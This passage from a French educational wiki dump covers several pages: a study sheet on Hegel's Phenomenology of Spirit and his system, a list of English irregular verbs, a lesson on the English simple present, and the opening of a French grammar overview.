nuancé. Commençons par quelques indications méthodologiques : *La meilleure explication de la phénoménologie ne peut donc être que dans l'exposition de ce devenir même. *Aucun des aspects de cette histoire ne doit pas être isolé des autres, mais mis en relation avec les moments dont il procède et avec ceux qui le suivent. C'est donc ce devenir de la conscience qui doit faire l'objet de la plus grande attention ; il ne faut pas en effet s'en tenir à un certain aspect qui serait comme un état valant pour lui-même. ---- '''Préambule''' La phénoménologie commence par la conscience en général. La connaissance d'un objet ne peut se réduire à ce que nous savons de cet objet, bien qu'habituellent nous considérons un objet tel qu'en lui-même. En effet, dans la connaissance est aussi contenu le ''je'' qui sait et la relation que nous entretenons avec lui, c'est-à-dire la conscience que nous en avons. Pourtant, lorsque nous ne sommes attentif qu'à l'objet, nous n'avons pas la conscience du savoir même qu'est cette conscience ; l'attitude naturelle chosifie, cela veut dire plus simplement qu'elle considère l'objet comme s'il était réellement extérieur à la relation que nous entretenons avec lui. Cela nous donne deux manières de concevoir un objet quelconque ; ces manières sont des perspectives philosophiques fondamentales (mais nous verrons qu'elles sont pour Hegel des moments du devenir de la conscience) : *le réalisme voit l'objet comme une réalité étrangère, objet posé hors de nous simplement tel qu'il est ; *l'idéalisme fait au contraire de la conscience un élément essentiel de la constitution du savoir : la conscience, par son activité, pose le monde et donc le détermine en partie ou intégralement. La philosophie étudiera ces déterminations subjectives de la connaissance, i. e. la relation même dont nous venons de parler. Cette relation a deux dimensions : *quand la conscience est savoir d'un objet intérieur ; *quand la conscience est savoir d'un objet extérieur, soit que l'objet soit simplement donné, soit qu'il soit produit par la conscience. L'étude ou science de la conscience est la ''phénoménologie de l'esprit''. Elle étudie la manifestation phénoménale d'un sujet en tant qu'il se rapporte à un objet, i. e. en tant que conscience. Quand cette étude à pour objet le rapport interne de l'esprit à lui-même on l'appelle ''psychologie''. L'étude de la diversité des affections de l'objet dans son rapport à une conscience comporte, selon Hegel, trois degrés (ou trois moments de la conscience) que nous allons maintenant développer : #la conscience en général ; #la conscience de soi ; #la raison. ---- '''I. La Conscience''' Considérant la conscience, nous voyons que celle-ci passe elle-même par plusieurs moments. Il y a ainsi trois niveaux de conscience : '''La sensibilité''', qui est la certitude immédiate d'un objet extérieur : l'objet est simplement, et il est un ceci, donné dans l'espace et le temps, ici et maintenant. Il est bien distinct et déterminé. Cette conscience est un apparence d'une richesse infinie : elle s'étend à tout ce qui est dans le temps et l'espace. Mais l'ici et le maintenant du ceci, de tel objet, disparaissent (l'objet change, et détruit, etc.), tandis qu'il y a toujours un ceci et un maintenant en général, '''s'appliquant à tous les ici et maintenant'''. L'ici et le maintenant, dans leur universalité (généralité) ne sont donc aucun ici et maintenant en particulier, mais une multiplicité de moments et de lieux. Ce qui est donné, la certitude de la sensibilité, ce n'est donc pas une détermination sensible, un ici et maintenant, mais une '''perception''' universel. L'objet devient donc l'inessentiel : la négation de la conscience sensible nous fait parvenir à l'universel, à la perception. '''La perception''' nous élève donc à l'universel, qui est la vérité de la sensibilité ; c'est un mixte de déterminations sensibles et de déterminations réflexives. L'objet de la perception est la '''chose''' et ses déterminations.<br> Ces déterminations : *sont immédiates dans la sensibilité (ici et maintenant) et pourtant médiatisées par notre relation avec elle ; *appartiennent à la chose dans sa singularité, mais sont en même temps universelles car, d'une part, elles peuvent être attribuées à d'autres choses, et, d'autre part, elles sont indépendantes les unes des autres (par exemple : couleur, poid, étendue, etc.). La relation du sujet à l'objet est ainsi constitutive des propriétés de l'objet ; c'est pourquoi ces propriétés se modifient et sont ainsi des accidents de la chose. Mais, puisque les choses ne sont rien d'autres que leurs propriétés, elles se transforment, deviennent, ou, autrement dit, disparaissent et surgissent sans cesse. Dans ces modifications, le mofifiable est supprimé et ce qui reste est le devenir, la modification elle-même. '''L'entendement''', s'il est aussi déterminé accidentellement, saisit également l'essentiel qui demeure dans le changement des choses : il est la conscience en tant qu'elle ''considère l'intérieur des choses'', i.e. la force qui, identique à elle-même et se réalisant, s'extériorise et lie les déterminations universelles entre elles. Cet intérieur est la pensée ou '''concept''' de l'objet, qui est le propre forme de la conscience, par laquelle elle se prend elle-même pour objet. La différence entre le sujet et l'objet s'est donc abolie, et elle laisse place à la conscience de soi. ---- '''II. La Conscience de soi''' La conscience de soi est l'intuition du "je" par lui-même : Je suis Je. C'est une proposition sans contenu : la conscience ne peut se donner à elle-même que dans les choses dont elle supprime l'altérité. Cette tendance essentielle de la conscience lui permet de se donner à elle-même comme objet, elle se produit comme objet et se donne ainsi une réalité. Continuant ainsi à suivre le développement dialectique de la conscience, Hegel distingue trois moments de la conscience de soi : Le '''désir''' : la conscience s'oriente vers autre chose qui n'est pas un soi, et en nie l'altérité. En tant que telle, elle est conscience pratique. La tendance est la nécessité sentie de supprimer la contradiction ; le désir est destructeur<br> La satisfaction du désir est la suppression de l'objet, qui aboutit au sentiment que la conscience a d'elle-même, au sentiment de sa réalité singulière. La maîtrise et la servitude : la conscience de soi se porte sur une autre conscience de soi et veut se faire reconnaître. C'est la lutte pour la reconnaissance. L'universalité de la conscience de soi ---- '''III. La Raison''' ==== B. Logique ==== ---- Préambule L'objet de la science de la logique est la pensée. La pensée, en tant que telle, est ''ce qui ramène tout divers à l'unité'' : l'esprit ramène le divers qui lui est extérieur, sous forme sensible, à des formes simples qui sont déterminations pures de l'esprit. Penser, c'est donc abstraire des déterminations d'un objet, et en laisser d'autres de côté, c'est un moment négatif de la pensée. Hegel distingue trois types de pensées : *les catégories *les déterminations reflexives *les concepts ---- '''I. L'être''' L'être est l'immédiat sans contenu ; son contraire est le néant. Le devenir est l'union des deux. ---- '''II. L'essence''' ---- '''III. Le concept''' ==== C. Science de l'esprit ==== La philosophie de l'esprit étudie l'esprit en lui-même, dans son concept (psychologie), en tant qu'il se réalise (esprit pratique), et enfin son achèvement dans l'art, la religion et la philosophie. ---- '''I. L'esprit dans son concept''' '''II. L'esprit pratique''' L'esprit pratique est la conscience qui réalise extérieurement ses propres déterminations ; l'esprit pratique, en lui-même, est donc la volonté libre ; en tant qu'il se détermine, il est activité, conduite. #Le droit #La moralité #L'Etat '''III. Réalisation pure de l'esprit''' #L'art : l'objet de l'art est le beau ; il présente à l'intuition une figure individualisée de l'esprit, purifiée des contingences de la réalité. Hegel distingue deux formes principales d'art, '''l'art antique''', qui présente l'individuel comme universel et est ainsi une totalité vivante, et '''l'art moderne''', i.e. romantique, qui a la contingence et l'arbitraire de la subjectivité. #La religion : elle présente l'esprit absolu à l'intuition et à la pensée ; elle élève l'individu à la pensée de Dieu. #La science : c'est la connaissance conceptuelle de l'esprit absolu, le concept qui est son propre contenu et se conçoit lui-même. == Commentaires == === Alexandre Kojève, Introduction à la lecture de Hegel === "La Phénoménologie est une description phénoménologique ; son objet, c'est l'homme en tant que phénomène existentiel ; l'homme tel qu'il apparaît à lui-même dans son existence et par elle." "La méthode philosophique ne peut être que la contemplation passive du réel et sa description pure et simple. Le savoir absolu est une inaction apparente." ''La philosophie, en étudiant la réalité concrète, étudie donc la Totalité.'' (à venir) == Lectures == *[[La Phénoménologie de l'Esprit]] == Outils de travail == === Le vocabulaire de Hegel === La [[philosophie]] de Hegel est réputée difficile ; comme [[Schopenhauer]] a pu le faire remarquer avec son habituelle diplomatie ("Hegel met les mots, le lecteur doit trouver le sens"), le principal obstacle est le vocabulaire hégélien qui n'est pas toujours clairement défini pour un lecteur non-philosophe. Ce vocabulaire propose donc de clarifier le sens des mots, ce qui permettra une comprehension relativement plus facile de la pensée de Hegel. *Concept (''Begriff'') *Esprit (''Geist'') *Négation (''Negation'') *Universel, particulier, singulier (''allgemein'', ''besonder'', ''einzeln'') *Savoir absolu (''absolutes Wissen'') *La [[logique]] : "La logique est la science de l'Idée pure, c'est-à-dire de l'Idée dans l'élément abstrait de la pensée" (''[[La Science de la logique]], Concept préliminaire'') **L'[[être]] : "L'être pur constitue le commencement, parce qu'il est aussi bien pensée pure que l'immédiat simple ; mais le premier commencement ne peut rien être de déterminé et de davantage déterminé. La définition véritablement première de l'absolu est par suite qu'il est l'être pur" (''[[La Science de la logique]], La Théorie de l'être).'' **L'essence **Le [[concept]] : "Le concept est ce qui est libre, en tant qu'il est la pure négativité de la réflexion de l'essence en elle-même ou la puissance de la substance, -et, en tant qu'il est la totalité de cette négativité, ce qui est en et pour soi déterminé" (''[[La Science de la logique]], La Théorie du concept''). *La philosophie de la [[nature]] *La philosophie de l'[[esprit]] : **Esprit subjectif **Esprit objectif **Esprit absolu *Conscience (''Bewusstsein'') : c'est l'esprit dont le développement est décrit dans la [[Phénoménologie de l'esprit]]. *Conscience de soi (ou autoconscience, ''Selbstbewusstsein'') *Les moments de la [[conscience]] : **L'être en soi : c'est le point de départ de la phénoménolgie, l'indistinction première et immédiate de l'esprit dans la sensation (pour Hegel : enfance et peuples primitifs). L'en-soi est la "disposition, le pouvoir, c'est ce qu'Aristote appelle ''dunamis'', c'est-à-dire la possibilité" (''Leçons sur la philosophie de l'histoire''). L'en-soi est un moment abstrait, la notion de la chose considérée : c'est, selon la métaphore hégélienne, le germe simple qui contient déjà la multiplicité. Tout ce qui se réalisera est donc contenu dans l'en-soi, le devenir n'ajoutant rien que l'effectivité, l'existence. **L'être pour soi : c'est le moment de la reconnaissance réciproque des consciences libres **L'être en soi et pour soi : moment de l'esprit réalisé *Dialectique du Maître et du Serviteur === Etudes === *''Introduction à la lecture de Hegel'', [[Alexandre Kojève]] *''Introduction à la philosophie de l'histoire de Hegel'', J. Hyppolite === Liens vers Wikipédia et Wikisource === *[[w:Hegel|Hegel, un article de Wikipédia]] Philosophie/La Phénoménologie de l'Esprit 264 46128 2006-06-27T20:30:20Z Guillaumito 46 [[La Phénoménologie de l'Esprit]] déplacé vers [[Philosophie/La Phénoménologie de l'Esprit]]: Convention de nommage La '''''Phénoménologie de l'Esprit''''' (''Phänomenologie des Geistes'') est une œuvre de [[Hegel]], parue en [[1807]]. Le titre de l'édition de 1807 est '''Système de la science''', ''Première partie, la Phénoménologie de l'esprit''. Un autre intertitre de Hegel est : ''Première partie : Science de l'expérience de la conscience''. == La ''Phénoménologie'' dans l'œuvre de Hegel == Cette œuvre a été conçue par Hegel comme une introduction à sa pensée. La ''Phénoménologie de l'esprit'' décrit le devenir dialectique de la conscience, depuis son opposition avec le monde sensible jusqu'au savoir absolu, qui est selon lui le savoir de l'être dans sa totalité. La place de cette œuvre a plus tard été revue par son auteur : dans l' ''Encyclopédie'', la phénoménologie est un moment de la philosophie de l'esprit. ==Exposé de l'œuvre== ===Préface === ===Introduction=== == Conscience == === I. La certitude sensible ou ''le ceci'' et le ''point de vue intime''=== Ce chapitre analyse la [[dialectique]] du [[savoir]] sensible, l'[[expérience]], et l'[[objet]] et le [[sujet]] qui la constituent par leur [[devenir]], jusqu'à la [[perception]]. Notre premier [[savoir]] serait, dit [[Hegel]], un savoir de l'immédiat, ou de ce qui est, et ce savoir n'est pas encore [[concept|conceptuel]]. C'est la certitude sensible, [[connaissance]] immédiate dont le contenu concrêt possède deux caractéristiques : *sa richesse nous semble ne pas avoir de limites autres que l'[[espace]] et le [[temps]]. *cette connaissance semble être la plus [[vérité|vraie]], parce qu'elle ne quitte pas son [[objet]] qu'elle a devant elle. Mais cette certitude est une [[vérité]] en [[réalité]] très pauvre, car son contenu se résume au constat que telle chose ou qu'un "je" singulier est . En conséquence, la certitude sensible ne peut pas nous représenter la richesse des choses et de la pensée : "la chose est, c'est là l'essentiel pour le savoir sensible, et c'est ce pur être ... qui constitue sa vérité." La certitude sensible n'est donc qu'une "relation pure immédiate," l'[[être]] pur constitue son [[concept d'essence|essence]]. Cette certitude est cependant constituée principalement de deux termes ''intermédiés'', ce "Je"-ci et cet objet-ci qui sont chacun de leur côté. Ces termes de la relation n'existent pas séparemment : la certitude du "je" passe par la chose, et la chose est certaine par l'intermédiaire du "je". A chaque fois, l'essence de la certitude est exemplifiée par un ceci. ==== Le ''ceci'' ==== "Qu'est-ce donc que le ceci ?" Il a deux aspects fondamentaux : '''maintenant''' et '''ici'''. Hegel commence par chercher ce qu'est le "maintenant" : par exemple, c'est la nuit. Mais, ''plus tard'', maintenant, c'est le jour, à midi par exemple. Il y a donc toujours un "maintenant", mais il n'est ni ceci ni cela : le jour et la nuit ne constitue pas son essence et n'affecte pas son être. Le "maintenant" est ainsi une chose universelle, et c'est l'universel qui est la vérité de la certitude sensible.<br> Une conséquence importante de cette reflexion, c'est que nous ne pouvons jamais exprimer notre [[opinion]] intime : par le [[langage]], en effet, nous énonçons l'universel (ceci universel et [[être]] en général qui ne peuvent être l'objet d'aucune [[représentation]]), i. e. la [[vérité]] de la certitude sensible, mais nous ne pouvons fixer ceci que nous avons à l'[[esprit]]. L'analyse sera la même pour le "ici". Ce qui est ainsi révélé, c'est que l'[[être]] pur de la certitude sensible est essentiellement médiation et négation, par opposition à l'opinion, et que l'objet est l'inessentiel. La certitude sensible n'est plus dans l'objet, mais se retrouve dans le "je", dans l'objet en tant qu'il est ''mon'' objet. En quoi consiste alors ce "je" auquel se rapportent le "maintenant" et le "ici" ? ==== Le ''Je'' ==== Le "je" conserve les "maintenant" et les "ici" singuliers, mais il est soumis à la même [[dialectique]] : la certitude du "je" est niée par un autre "je" qui possède la même certitude. Le "je" ne demeure donc qu'en tant qu'universel, et en conséquence, pour les raisons déjà énoncées, on ne peut exprimer un "je" singulier, celui que l'on a à l'[[esprit]] : "en disant ''Je'', tel ''Je singulier'', je dis d'une manière générale ''TOUS'' les ''Je''." On reconnait ici une formulation du principe [[Aristote|aristotélicien]] : il n'y a pas de science du singulier. ==== L'expérience ==== Le "maintenant", l'"ici" et le "je", dans leur singularité, sont donc inessentiels, ils ne sont pas. Ce qui constitue l'essence de la certitude sensible, sa [[réalité]], c'est le tout de cette certitude, et non tel ou tel exemple. La [[dialectique]] de ce tout est ainsi analysée par Hegel dans l'exemple du "maintenant" : *"maintenant" est désigné comme [[vérité|vrai]], mais en le montrant, il a cessé d'[[être]], il est aboli ; *"maintenant est affirmé comme quelque chose qui a été ; *mais s'il a été, il n'a pas d'être, et l'on revient au "maintenant" qui est. Ce que l'on appelle "Maintenant", cest donc le "grand nombre de maintenant" que l'on désigne et qui sont abolis. Le désignement dévoile dialectiquement le caractère universel du "maintenant" et de même pour l'"ici" : "Il apparaît clairement que la dialectique de la certitude sensible n'est rien d'autre que la simple [[histoire]] de son mouvement ou de son expérience, et que la certitude sensible elle-même n'est rien d'autre que simplement cette histoire." Cet universel de notre expérience fait également apparaître la ''Nichtigkeit'', la nullité ("la qualité de néant"), de la [[réalité]] des choses sensibles.<br> Ce que nous exprimons donc par notre langage, et ce que nous percevons et tenons pour vrai, c'est toujours l'ensemble ("un Ici d'autres Ici") à la place du savoir immédiat par laquelle ce chapitre avait commencé. === II. La perception ou la ''chose'' et l' ''illusion''=== La [[perception]] prend donc à présent l'universel, ce qui est pour elle, pour vrai, et l'universel est son essence. Cette perception est constituée de deux moments qui se sont maintenant différenciés, le "je" universel et l'"objet" universel : *Le "je" est "devenu le mouvement de désignement" qui différencie les moments, l'activité de la perception ; *L'objet en est le résultat, "la somme et le résumé", et, en ce sens, il est l'essentiel de la perception, par opposition à l'inessentialité du "je".. ==== Le concept de chose ==== Il s'agit de voir de plus près ce que c'est que cet objet, comment il est constitué pour la perception<br> En premier lieu, la richesse du savoir sensible qui semblait d'abord appartenir à l'immédiateté préconceptuelle appartient en réalité à la perception, parce que celle-ci est négation et différence, et par suite diversité de propriétés médiées.<br> Le ''ceci'' est en effet aboli, sans être un [[néant]] : il est un "néant déterminé". La négation de la singularité sensible fait du sensible un universel détérminé comme propriété (ou qualité). Hegel explicite ici ce [[concept]] fondamental de sa [[pensée]], '''l'abolition''' (''Aufhebung'', verbe ''aufheben'') déjà rencontré : le mouvement de l'"Aufhebung" est une négation et une conservation, comme on le voit du sensible immédiat, nié et conservé en tant qu'immédiat universel.<br> Le "medium universel abstrait", i. e. l'ensemble de ces déterminations indifférentes les unes aux autres, constitue la ''chosité'' (''Dingheit''), ou l'essence pure, i. e. un Ici possédant plusieurs qualités qui occupent sans être séparées et en même temps le même objet. Hegel introduit le concept ''Aussi'' : la chose a '''aussi''' telle propriété, i. e. qu'elle réunit des détérminités universelles "qui ne s'affectent pas mutuellement dans cette interpénétration.". Les déterminités sont libres et indifférentes les unes à l'égard des autres ; l'Ici est donc simple en tant que medium identique à soi (c'est le ''Aussi'' de la chosité), et multiple en tant qu'ensemble de nombreuses propriétés.<br> On passe ici d'une pure possiblité (être pure immédiat) à une plus grande effectivité (l'essence) qui demeure néanmoins un moment abstrait, du fait de son universalité vide (propriétés libres). L'être se détermine, mais ne s'est pas encore déployé intégralement, il est passé de l'en-soi au pour-soi. Ces propriétés déterminés se différencient donc les unes des autres ; mais elles entretiennent ainsi un certain rapport par lequel elles s'opposent, sans quoi elles ne seraient pas ce qu'elles sont, elles ne seraient pas déterminées. Or, cette opposition excède le medium de la chosité : celui-ci ne peut être seulement un "Aussi", il doit être aussi une "unité exclusive." L'un est donc la négation exclusive, et, pour les propriétés, la négation est déterminité immédiate identique à l'immédiateté de l'[[être]]. Avec l'Un, les propriétés sont donc en soi et pour soi-même. Hegel résume l'achèvement de la chose -qui est le vrai de la perception, en trois points : *la chose est "l'aussi de nombreuses propriétés" ; *la négation simple, l'Un ; *les propriétés elles-mêmes, en tant que relation des deux premiers moments. Ce qui achève la chose, c'est donc l'unité de l'être et de la négation. ==== La perception de la chose ==== === III. Force et entendement=== == Conscience de soi == ===La vérité de la certitude de soi-même=== ==Raison et sujet absolu== ===Certitude et vérité de la raison=== ===L'esprit=== ===La religion=== ===Le savoir absolu=== ==Bibliographie== *[[Encyclopédie des sciences philosophiques]] **I. [[La Science de la logique]] ==Liens externes== *[http://www.ac-nice.fr/philo/textes/Hegel-Phanomenologie.htm ''Phänomenologie des Geistes''] *[http://perso.wanadoo.fr/marxiens/philo/hegel/phenomen.htm Extraits et présentation] [[catégorie:Fiche de lecture (philosophie)]] Philosophie/Fiches de lecture 265 46120 2006-06-27T20:28:47Z Guillaumito 46 [[Fiches de lecture (philosophie)]] déplacé vers [[Philosophie/Fiches de lecture]]: Convention de nommage {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|<[[Manuel de philosophie (terminale)|Manuel de philosophie]] | width="34%" align="center"| | width="33%" align="right"|[[:Catégorie:Commentaire philosophique|Commentaires]] |} Ces fiches de lecture ont pour but de présenter les grandes oeuvres de l'histoire de la philosophie par l'analyse générale de leur contenu et par l'analyse de larges extraits. *[[le procès de Socrate]], Platon *[[Parménide]], Platon *[[Organon]], Aristote *[[La Cité de Dieu]], Augustin *[[Méditations Métaphysiques]] *[[Monadologie]], Leibniz *[[Émile, ou De l’éducation]], Rousseau *[[La Phénoménologie de l'Esprit]], Hegel [[catégorie:Fiche de lecture (philosophie)|*]] Verbes irréguliers en anglais 269 42272 2006-05-14T10:19:25Z Mly 1518 {| border="0" |----- | '''Infinitif''' || '''Passé simple''' | '''Participe passé''' |----- | to awake || awoke || awoken |----- | to bear || bore || borne |----- | to beat || beat || beaten |----- | to become || became || become |----- | to begin || began || begun |----- | to bend || bent || bent |----- | to bet || bet || bet |----- | to bid || bid || bid |----- | to bind || bound || bound |----- | to bite || bit || bitten |----- | to bleed || bled || bled |----- | to blow || blew || blown |----- | to break || broke || broken |----- | to breed || bred || bred |----- | to bring || brought || brought |----- | to build || built || built |----- | to burn || burnt || burnt |----- | to burst || burst || burst |----- | to buy || bought || bought |----- | to cast || cast || cast |----- | to catch || caught || caught |----- | to choose || chose || chosen |----- | to cling || clung || clung |----- | to come || came || come |----- | to cost || cost || cost |----- | to creep || crept || crept |----- | to cut || cut || cut |----- | to deal || dealt || dealt |----- | to dig || dug || dug |----- | to do || did || done |----- | to draw || drew || drawn |----- | to dream || dreamt || dreamt |----- | to drink || drank || drunk |----- | to drive || drove || driven |----- | to dwell || dwelt || dwelt |----- | to eat || ate || eaten |----- | to fall || fell || fallen |----- | to feed || fed || fed |----- | to feel || felt || felt |----- | to fight || fought || fought |----- | to find || found || found |----- | to flee || fled || fled |----- | to fling || flung || flung |----- | to fly || flew || flown |----- | to forbid || forbade || forbidden |----- | to forget || forgot || forgotten |----- | to forgive || forgave || forgiven |----- | to freeze || froze || frozen |----- | to get || got || got |----- | to give || gave || given |----- | to go || went || gone |----- | to grind || ground || ground |----- | to grow || grew || grown |----- | to hang || hung || hung |----- | to have || had || had |----- | to hear || heard || heard |----- | to hide || hid || hidden |----- | to hit || hit || hit |----- | to hold || held || held |----- | to hurt || hurt || hurt |----- | to keep || kept || kept |----- | to kneel || knelt || knelt |----- | to know || knew || known |----- | to lay || laid || laid |----- | to lead || led || led |----- | to lean || leant || leant |----- | to leap || leapt || leapt |----- | to learn || learnt || learnt |----- | to leave || left || left |----- | to lend || lent || lent |----- | to let || let || let |----- | to lie || lay || lain |----- | to light || lit || lit |----- | to lose || lost || lost |----- | to make || made || made |----- | to mean || meant || meant |----- | to meet || met || met |----- | to pay || paid || paid |----- | to put || put || put |----- | to quit || quit || quit |----- | to read || read || read |----- | to rid || rid || rid |----- | to ride || rode || ridden |----- | to ring || rang || rung |----- | to rise || rose || risen |----- | to run || ran || run |----- | to saw || sawed || sawn |----- | to say || said || said |----- | to see || saw || seen |----- | to seek || sought || sought |----- | to sell || sold || sold |----- | to send || sent || sent |----- | to set || set || set |----- | to sew || sewed || sewn |----- | to shake || shook || shaken |----- | to shear || sheared || shorn |----- | to shed || shed || shed |----- | to shine || shone || shone |----- | to shoe || shod || shod |----- | to shoot || shot || shot |----- | to show || showed || shown |----- | to shrink || shrank || shrunk |----- | to shut || shut || shut |----- | to sing || sang || sung |----- | to sink || sank || sunk |----- | to sit || sat || sat |----- | to sleep || slept || slept |----- | to slide || slid || slid |----- | to sling || slung || slung |----- | to slink || slunk || slunk |----- | to slit || slit || slit |----- | to smell || smelt || smelt |----- | to sow || sowed || sown |----- | to speak || spoke || spoken |----- | to speed || sped || sped |----- | to spell || spelt || spelt |----- | to spend || spent || spent |----- | to spill || spilt || spilt |----- | to spit || spat || spat |----- | to split || split || split |----- | to spoil || spoilt || spoilt |----- | to spread || spread || spread |----- | to spring || sprang || sprung |----- | to stand || stood || stood |----- | to steal || stole || stolen |----- | to stick || stuck || stuck |----- | to sting || stung || stung |----- | to stink || stank || stunk |----- | to stride || strode || stridden |----- | to strike || struck || struck |----- | to string || strung || strung |----- | to strive || strove || striven |----- | to swear || swore || sworn |----- | to sweep || swept || swept |----- | to swell || swelled || swollen |----- | to swim || swam || swum |----- | to swing || swung || swung |----- | to take || took || taken |----- | to teach || taught || taught |----- | to tear || tore || torn |----- | to tell || told || told |----- | to think || thought || thought |----- | to throw || threw || thrown |----- | to thrust || thrust || thrust |----- | to tread || trod || trodden |----- | to understand || understood || understood |----- | to wake || woke || woken |----- | to wear || wore || worn |----- | to weave || wove || woven |----- | to weep || wept || wept |----- | to win || won || won |----- | to wind || wound || wound |----- | to wring || wrung || wrung |----- | to write || wrote || written |} ---- [[media:English_Irregular_Verbs_with_IPA_and_French.pdf]] Une liste exhaustive de près de '''300 verbes''' comprenant les '''transcriptions phonétiques''' et une '''traduction de chaque verbe en français''' est disponible. Anglais : Présent 271 31555 2006-02-05T15:44:27Z 81.67.107.101 /* Interrogation */ == Conjugaison == === Cas général === Pour la majorité des verbes, le présent simple se conjugue en laissant la base verbale sans le ''to'' du verbe aux personnes ''I, you, we'' et ''they''. Pour les personnes ''he'', ''she'' et ''it'', il faut rajouter un '''s''' à la fin de la base verbale. Par exemple : {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#DDDDDD | To eat (manger) |----- |I ||eat |----- |You ||eat |----- |He/She/It ||eat'''s''' |----- |We ||eat |----- |You ||eat |----- |They ||eat |} === Exceptions === Parmi les exceptions, une première très importante : les modaux ''to be'' et ''to have'' pour commencer (respectivement nos auxilliaires être et avoir) se conjugent ainsi : {| |----- | {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#DDDDDD | To be (être) |----- |I ||am |----- |You ||are |----- |He/She/It ||is |----- |We ||are |----- |You ||are |----- |They ||are |} | align="right" | {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#DDDDDD | To have (avoir) |----- |I ||have |----- |You ||have |----- |He/She/It ||has |----- |We ||have |----- |You ||have |----- |They ||have |} |} *D'autres verbes possèdent des irrégularités à la 3e personne du singulier : notamment ''do'' (faire), ''go'' (aller) qui font ''he/she/it'' '''does''' et ''he/she/it'' '''goes'''. *Les verbes dont l'infinitif se termine par -ch, -sh, -s et -x, prennent -es à la troisième personne du singulier.<br />Exemple : to wash (laver) : he wash'''es''' *Les verbes dont l'infinitif se termine par -y, prennent -ies à la troisième personne du singulier sauf quand le y est précédé d'une autre voyelle.<br />Exemple : to buy (acheter) : she bu'''ys'''; to try (essayer) : she tr'''ies'''. == Interrogation == *Yes, no questions (questions fermées): {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|Auxillaire "do" + sujet + verbe (+ complément) ? |} <br />Exemple : Do you work on Sundays ? ''Travailles-tu le dimanche ?'' *Wh- questions (questions ouvertes) : {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|Wh- + auxillaire "do" + sujet + verbe (+ complément) ? |} <br />Exemple : Where do you live ? ''Où habites-tu ?'' Attention : à la '''3ème personne du singulier''' (he/she/it), "DO" devient "'''DOES'''" <br />Exemple : Does she work on Sundays ? ''Travaille-t-elle le dimanche ?'' <br />Exemple : Where does she live ? ''Où habite-t-elle?'' == Négation == {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + auxillaire "do" (conjugué) + not + verbe (+ complément) |} <br /> *On contracte souvent l'auxillaire do et not, ainsi ''I do not'' donne ''I don't'' et ''she does not'' donne ''she doesn't''. == Emploi == On utilise le présent simple pour exprimer une vérité (proverbe par exemple), une action habituelle (comme la routine du matin), ou bien un évènement futur programmé. === Expression de vérité === Exemple de vérité générale The sun is warm.<BR> ''Le soleil est chaud.'' === Expression de la routine === Exemple d'action habituelle George buys a new computer each year.<BR> ''George achète un nouvel ordinateur chaque année.'' === Expression du futur === Exemples d'évènement futur programmé On Saturday, our bus leaves the school at 6 PM.<BR> ''Samedi, notre bus part de l'école à 18h.'' == Application == [[Image:Evolution-tasks.png]] [[Anglais : Présent_Test|Test]] <br />Retour [[Enseignement de l'anglais]] Français 272 46505 2006-06-29T14:37:56Z 129.194.8.73 finir les phrases par un point {{ébauche}} {{enTravaux}} L'étude d'une langue est une entreprise vaste. C'est pourquoi celle-ci est divisée en différentes disciplines. Cependant, les avis divergent quant à cette classification. Nous choisissons ici de distinguer les quatre grandes branches suivantes : l'orthographe, la syntaxe, la sémantique et la littérature. Vous trouverez certainement d'autres classifications ailleurs. Ce choix repose sur une certaine gradation de ces branches, à condition de les définir ainsi : l'orthographe s'intéresse à l'écriture des mots, la syntaxe à leur agencement au sein d'une phrase et à l'emploi des différentes formes, la sémantique au(x) sens des mots et groupes de mots et, enfin, la littérature concerne, quant à elle, l'étude des textes et des auteurs. ''Remarque'' : l'orthographe, la syntaxe et la sémantique peuvent être regroupé sous la terme "grammaire" qui serait l'étude des règles régissant la langue française. ''Remarque'' : dans cette classification la conjugaison fait partie à la fois de l'orthographe et de la syntaxe. L'orthographe étudiera les formes des verbes (les tableaux de conjugaison) alors que la syntaxe se penchera sur l'emploi de ces formes. Pour mieux saisir la différence entre orthographe, syntaxe et sémantique, basons-nous sur des exemples : :''Cet as globalement élevât la dans réunissons four.'' Cette phrase est correcte par rapport à l'orthographe (un correcteur ''orthographique'' n'y trouverait aucune faute). En revanche, comme vous l'aurez remarqué, elle ne l'est pas d'un point de vue syntaxique et sémantique. :''Bien que les artichauts eussent oublié d'aspirer les nuages, ils n'avaient pas été mis au courant de l'inflation législative.'' Cette phrase est correcte par rapport à l'orthographe et à la syntaxe. Elle ne l'est en revanche pas par rapport à la sémantique (sauf cas particuliers dans la poésie, le fantastique, ...) :''Wikilivres est un projet libre de rédaction collective d'ouvrages à contenu pédagogique.'' Cette phrase est correcte par rapport à l'orthographe, la syntaxe et la sémantique. Nous pouvons donc dire qu'elle est ''grammaticalement'' correcte. == Orthographe == L'orthographe est l'étude de l'écriture d'un mot en dehors de son contexte grammatical ou sémantique dans la phrase. ''Nous'' la diviserons en six branches : === Orthographe lexicale === L'orthographe lexicale étudie l'écriture d'un mot sous sa forme ''canonique'' (celle que l'on trouvera dans le dictionnaire, par exemple l'infinitif pour les verbes). === Orthographe grammaticale === L'orthographe grammaticale (ou, pour respecter notre classification, syntaxique) étudie la variation d'un mot selon certains paramètres, tels que le nombre (singulier ou pluriel) ou le genre (féminin ou masculin). Il ne s'agit pas de syntaxe, puisqu'elle ne s'intéresse pas aux raisons de ces variables, mais simplement à leurs conséquences sur l'écriture du mot ==== Conjugaison (formes verbales) ==== Comme expliqué dans l'introduction, cette partie s'intéressera aux formes verbales et non à leur emploi. * [[Conjugaison des verbes français]] ** [[Conjugaison d'avoir]] ** [[Conjugaison d'être]] ** [[Conjugaison de naître]] ** [[Conjugaison des verbes du premier groupe]] ** [[Conjugaison des verbes du deuxième groupe]] ** [[Conjugaison des verbes du troisième groupe]] * Formation de la voix passive === Morphologie === La morphologie étudie la composition d'un mot (préfixe - radical - suffixe par exemple). Elle est utile pour la compréhension d'un mot (par exemple, le suffixe ''-eur'', ''-eresse'' au féminin, indique l'agent, la personne exécutant l'action : ''veng - eur'' = celui qui venge), pour la formation de nouveaux mots (néologismes) et pour l'étymologie. === Étymologie === L'étymologie étudie l'origine et la filiation des 